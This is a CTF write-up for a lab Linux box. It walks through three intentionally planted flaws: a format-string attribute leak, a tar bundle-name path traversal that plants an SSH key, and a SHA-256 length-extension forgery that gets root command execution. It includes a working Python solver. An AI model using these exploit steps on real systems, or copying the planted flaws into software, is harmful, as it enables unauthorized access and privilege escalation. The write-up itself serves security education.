Logo

Writeup

Dead Drop — Writeup

0 0xAsta
October 10, 2026
7 min read
boot2root misc crypto linux

Dead Drop — Writeup

This writeup details the solution for “Dead Drop”, a boot2root challenge from WOPS CTF. The challenge is a Linux box reachable only over SSH, with four accounts and two flags. Each tier deliberately closes off the obvious technique and leaves exactly one narrower path open.

Summary

The target is a Debian box exposing nothing but SSH. The guest account is public (password guest) but is pinned to a restricted console by ForceCommand, so there is no shell to land in.

The escalation chain is:

guest (restricted console) --> relay (password) --> operator (ssh key) --> root

Two flags are scored separately:

PartAccountFlag file
1operator/home/operator/user.txt
2root/root/root.txt

Three techniques, one per tier:

  1. Format-string read primitive — the console renders a user-controlled banner template with str.format, which leaks a password out of a method’s code constants.
  2. Path traversal in a filename — a sync job validates tar members correctly but joins the bundle name into the destination path.
  3. SHA-256 length extension — a root daemon authenticates requests with sha256(key || message), which is a prefix MAC, not an HMAC.

Key Code Snippets

console.py — the banner primitive

BLOCKED = ("globals", "builtins", "dict", "subclasses", "mro", "base",
"import", "loader", "spec", "class", "module", "getattr",
"self", "frame", "f_", "gi_", "cr_", ":")
MAX_TEMPLATE = 64
class Session:
def render(self):
return self.banner.format(s=self) # <-- template is a read primitive
def handoff(self):
if not self.privileged:
raise PermissionError("hand-off is disabled in production")
return "relay", "dr0p-r3lay-9f41c7e2" # <-- a code constant

sync.py — the bundle unpacker, running as operator

NAME_RE = re.compile(r"[A-Za-z0-9._/-]{1,48}") # '/' allowed, for subfolders
BAD_NAME = ("//", "/..", "../")
def member_ok(m):
if m.name.startswith("/") or ".." in m.name.split("/"):
return False
if not (m.isfile() or m.isdir()):
return False # no links, devices or fifos
...
def process(fname):
bundle = fname[:-len(".tar")] # '.tar' stripped first
if not NAME_RE.fullmatch(bundle): return
for pat in BAD_NAME:
if pat in bundle: return
dest = os.path.join(INBOX, bundle) # <-- name joined into the path
...
tf.extractall(dest, members=members)

agentd.py — the root agent’s signature scheme

def sign(msg):
return hashlib.sha256(KEY + msg).hexdigest() # <-- prefix MAC, not HMAC
def parse(msg):
fields = {}
for part in msg.split(b"&"):
k, v = part.split(b"=", 1)
fields[k.decode("latin-1")] = v.decode("latin-1") # later keys win
return fields
def handle(msg, mac):
if not hmac.compare_digest(sign(msg), mac):
return "ERR signature mismatch"
...
if cmd == "maint":
p = subprocess.run(["/bin/sh", "-c", req.get("run", "")], ...)

Analysis

Stage 1 — a value you cannot call is still readable

str.format with a {s.attr} template is not string interpolation; it walks attributes on the object you pass. That makes any template a read primitive over the live Session object.

The denylist anticipates this and blocks the textbook escapes — __globals__, __class__, __subclasses__, getattr, and even : to kill format specs — with templates capped at 64 characters. What it does not block is __code__.co_consts.

Python stores literals used inside a function body in that function’s code object. The relay password is a literal in handoff(), so it lives in handoff.__code__.co_consts whether or not the function ever runs. Calling handoff() is useless — it raises PermissionError first — but the constant is sitting there regardless:

s.handoff.__code__.co_consts
-> ('hand-off is disabled in production', ('relay', 'dr0p-r3lay-9f41c7e2'))

Stage 2 — the traversal is in the name, not the archive

Every 15 seconds sync.py runs as operator, unpacks each *.tar from /srv/drop (the only place relay can write) into /home/operator/inbox/<bundle>/, then deletes it.

The tar member validation is genuinely correct: absolute paths, .. components, symlinks, devices and oversized files are all rejected. The box even nudges you away from that route — /home/relay/notes.txt mentions links were patched out “after the symlink incident”.

The bug is the bundle name. Names may contain / so bundles can be filed into dated subfolders, and the filter rejects //, /.. and ../ — but not a name that is exactly ... Since .tar is stripped before the check, the filename that produces it needs three dots:

"...tar" --strip .tar--> ".." --join--> /home/operator/inbox/..
--normalises to--> /home/operator

Note that ..tar is not enough — it strips to ., which normalises back to the inbox itself. This is the easiest detail to get wrong.

A tar containing .ssh/authorized_keys therefore unpacks straight into the operator’s home directory. sync.py sets umask 0o077, so the key lands with permissions strict enough to satisfy sshd’s StrictModes.

Stage 3 — sha256(key || message) is not a MAC

The root agent listens on a unix socket reachable only by the operator group. Requests are hex(message) hex(signature) with:

signature=sha256(key∥message)\text{signature} = \mathrm{sha256}(\text{key} \mathbin\Vert \text{message})

The key is root-only and regenerated each boot with a random length of 17–48 bytes. The maint command runs a shell string as root.

This is a textbook prefix MAC. SHA-256 is Merkle–Damgård, so its digest is its internal state after the final block — which means anyone holding a valid (message, signature) pair can resume hashing and append data without the key. The operator’s own notes flag it as a known-but-dismissed risk:

[ ] switch the signature to real HMAC (security keeps nagging, but
sha256 is sha256, nobody can forge it without the key...)

Two more facts make it exploitable:

  1. The agent logs one valid (message, signature) pair every five minutes to /var/log/wops/agent.log, readable by the operator group.
  2. parse() splits on & and later keys overwrite earlier ones, so appended fields win and the binary padding bytes sit harmlessly inside a junk field rather than corrupting the command.

The forged message is:

forged=msg∥pad(∣key∣+∣msg∣)∥suffix\text{forged} = \text{msg} \mathbin\Vert \mathrm{pad}(|\text{key}| + |\text{msg}|) \mathbin\Vert \text{suffix}

where pad is the Merkle–Damgård padding SHA-256 would have appended, and the suffix is &cmd=maint&run=cat /root/root.txt.

The padding depends on ∣key∣|\text{key}|, which is unknown, so we iterate candidate lengths 1–64 and keep the first response starting with OK. That is the only search in the intended path, and it is forced by the per-boot randomisation rather than by a weak design.

Exploitation and Flag Recovery

1. Part 1, stage 1 — leak the relay password

ssh guest@HOST -p PORT # password: guest
relay> banner set {s.handoff.__code__.co_consts}
banner updated
relay> banner
('hand-off is disabled in production', ('relay', 'dr0p-r3lay-9f41c7e2'))

2. Part 1, stage 2 — plant a key via the dead drop

Upload under a temporary name and rename into place, otherwise the sync job can pick up a partially written file:

Terminal window
ssh-keygen -t ed25519 -f ./dd -N ''
mkdir -p .ssh && cp dd.pub .ssh/authorized_keys
tar cf bundle.tar .ssh/authorized_keys
scp -P PORT bundle.tar relay@HOST:/srv/drop/x.part
ssh -p PORT relay@HOST 'mv /srv/drop/x.part /srv/drop/...tar'
sleep 20
ssh -i ./dd operator@HOST -p PORT 'cat ~/user.txt'

3. Part 2, stage 3 — forge an agent request

Terminal window
# as operator: grab a known-good signed request
grep ' request ' /var/log/wops/agent.log | tail -1
# ... request <hexmsg> <sig> -> OK up=...
# send the forged line to the root agent
python3 -c 'import socket,sys
s=socket.socket(socket.AF_UNIX); s.connect("/run/wops/agent.sock")
s.sendall(sys.argv[1].encode()+b"\n"); print(s.recv(65536).decode())' "<hexforged> <forgedsig>"

4. The full solver

solve.py runs the whole chain. The interesting part is the length extension, implemented with a self-contained SHA-256 so the state resumption is visible rather than hidden behind a library:

def md_pad(length):
"""The padding SHA-256 would have appended after `length` bytes."""
return b"\x80" + b"\x00" * ((55 - length) % 64) + struct.pack(">Q", length * 8)
def length_extend(digest_hex, orig_len, suffix):
"""sha256(secret || orig || pad || suffix), given only sha256(secret || orig)."""
h = list(struct.unpack(">8I", bytes.fromhex(digest_hex))) # digest IS the state
done = orig_len + len(md_pad(orig_len))
data = suffix + md_pad(done + len(suffix))
for i in range(0, len(data), 64):
h = _compress(h, data[i:i + 64]) # keep hashing
return struct.pack(">8I", *h).hex()
# stage 3: recover a signed pair from the log, then brute the key length only
line = [l for l in run(op, "cat /var/log/wops/agent.log").splitlines()
if " request " in l][-1]
hexmsg, mac = line.split(" request ")[1].split(" ")[:2]
orig = bytes.fromhex(hexmsg)
suffix = b"&cmd=maint&run=cat /root/root.txt"
for keylen in range(1, 65):
total = keylen + len(orig)
forged = orig + md_pad(total) + suffix
fmac = length_extend(mac, total, suffix)
resp = run(op, client + f"'{forged.hex()} {fmac}'")
if resp.startswith("OK"):
print(f"[+] key length {keylen}")
print("[+] root flag:", resp.splitlines()[1].strip())
break

5. Execution

Terminal window
pip install paramiko
python3 solve.py <host> <port>
[*] stage 1: guest console
[+] relay password: dr0p-r3lay-9f41c7e2
[*] stage 2: dead drop
[+] operator shell, user flag: WOPS{d0t_d0t_t4r_cl1mbs_0ut_0f_th3_1nb0x}
[*] stage 3: agent signature forgery
[+] key length 48
[+] root flag: WOPS{sh4256_k3y_pr3f1x_1s_n0t_4_m4c_3xt3nd_th3_dr0p}

Runtime is about a minute, most of it spent waiting for a sync cycle. The reported key length changes every boot — 20, 34, 47 and 48 all came up across runs — which confirms the loop is not fitted to one instance.

Final Result

Part 1 flag: WOPS{d0t_d0t_t4r_cl1mbs_0ut_0f_th3_1nb0x}

Part 2 flag: WOPS{sh4256_k3y_pr3f1x_1s_n0t_4_m4c_3xt3nd_th3_dr0p}

Notes

  • The format denylist blocks the dunder paths that reach the interpreter, so you have to realise you do not need the interpreter — the data is already in the code object.
  • The tar member validation is genuinely sound. That is what pushes you to look at the one input that is not validated the same way: the filename.
  • The signature scheme looks fine until you notice sha256(key || msg) is a construction, not a primitive, and that a sample is published every five minutes by design.

The general lesson for the third stage is worth stating plainly: a hash is not a MAC. sha256(key || message) leaks the ability to extend, and sha256(message || key) has its own problems. Use HMAC — the box’s own TODO list already knew that.